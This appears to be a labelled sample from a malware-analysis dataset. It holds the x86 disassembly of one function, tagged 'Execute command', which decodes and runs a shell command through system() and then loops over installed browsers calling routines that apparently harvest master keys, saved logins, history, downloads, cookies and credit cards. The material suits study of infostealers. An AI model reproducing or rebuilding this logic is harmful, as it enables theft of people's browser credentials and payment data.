Function at 0x40508e
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0xc4
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0x44cac0
call sym._strcpy
mov dword [ebp - 0x10], 0x42aba1
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._check_exist
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x40513b
mov dword [ebp - 0x41], 0x6b745762
mov dword [ebp - 0x3d], 0x3d495861
mov byte [ebp - 0x39], 0
lea eax, [ebp - 0x48]
mov dword [esp + 4], eax
lea eax, [ebp - 0x41]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__s
lea eax, [ebp - 0xac]
mov dword [esp], eax
call sym._sprintf_5
lea eax, [ebp - 0xac]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x40513b
mov dword [esp], str.failed
call sym._puts
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._instbrws_
mov dword [ebp - 0x20], eax
mov dword [ebp - 0xc], 0
jmp 0x4053cb
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x20]
add eax, edx
mov eax, dword [eax]
add eax, 4
mov edx, dword [eax]
mov eax, dword [ebp - 0xc]
lea ecx, [eax*4]
mov eax, dword [ebp - 0x20]
add eax, ecx
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._gtmstk
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x4051b9
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x20]
add eax, edx
mov eax, dword [eax]
add eax, 4
mov eax, dword [eax]
mov dword [esp + 4], eax
mov dword [esp], str.failed:__s_n
call sym._printf_4
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x20]
add eax, edx
mov eax, dword [eax]
add eax, 8
mov ecx, dword [eax]
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x20]
add eax, edx
mov eax, dword [eax]
add eax, 4
mov edx, dword [eax]
mov eax, dword [ebp - 0xc]
lea ebx, [eax*4]
mov eax, dword [ebp - 0x20]
add eax, ebx
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._gtlgdt
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x40521d
mov dword [esp], str.failed
call sym._puts
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x20]
add eax, edx
mov eax, dword [eax]
add eax, 8
mov ecx, dword [eax]
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x20]
add eax, edx
mov eax, dword [eax]
add eax, 4
mov edx, dword [eax]
mov eax, dword [ebp - 0xc]
lea ebx, [eax*4]
mov eax, dword [ebp - 0x20]
add eax, ebx
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._gtwbhist
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
je 0x405281
mov dword [esp], str.failed
call sym._puts
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x20]
add eax, edx
mov eax, dword [eax]
add eax, 8
mov ecx, dword [eax]
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x20]
add eax, edx
mov eax, dword [eax]
add eax, 4
mov edx, dword [eax]
mov eax, dword [ebp - 0xc]
lea ebx, [eax*4]
mov eax, dword [ebp - 0x20]
add eax, ebx
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._gtdls_
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x4052e5
mov dword [esp], str.failed
call sym._puts
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x20]
add eax, edx
mov eax, dword [eax]
add eax, 8
mov ecx, dword [eax]
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x20]
add eax, edx
mov eax, dword [eax]
add eax, 4
mov edx, dword [eax]
mov eax, dword [ebp - 0xc]
lea ebx, [eax*4]
mov eax, dword [ebp - 0x20]
add eax, ebx
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._gtcks_
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
je 0x405363
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x20]
add eax, edx
mov eax, dword [eax]
add eax, 4
mov eax, dword [eax]
mov dword [esp + 4], eax
mov dword [esp], str.failed:__s_n
call sym._printf_4
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x20]
add eax, edx
mov eax, dword [eax]
add eax, 8
mov ecx, dword [eax]
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x20]
add eax, edx
mov eax, dword [eax]
add eax, 4
mov edx, dword [eax]
mov eax, dword [ebp - 0xc]
lea ebx, [eax*4]
mov eax, dword [ebp - 0x20]
add eax, ebx
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._gtccs_
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
je 0x4053c7
mov dword [esp], str.failed
call sym._puts
add dword [ebp - 0xc], 1
mov eax, dword [0x44ccb4]
cmp dword [ebp - 0xc], eax
jb 0x405155
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._free
mov eax, 0
mov ebx, dword [ebp - 4]
leave
ret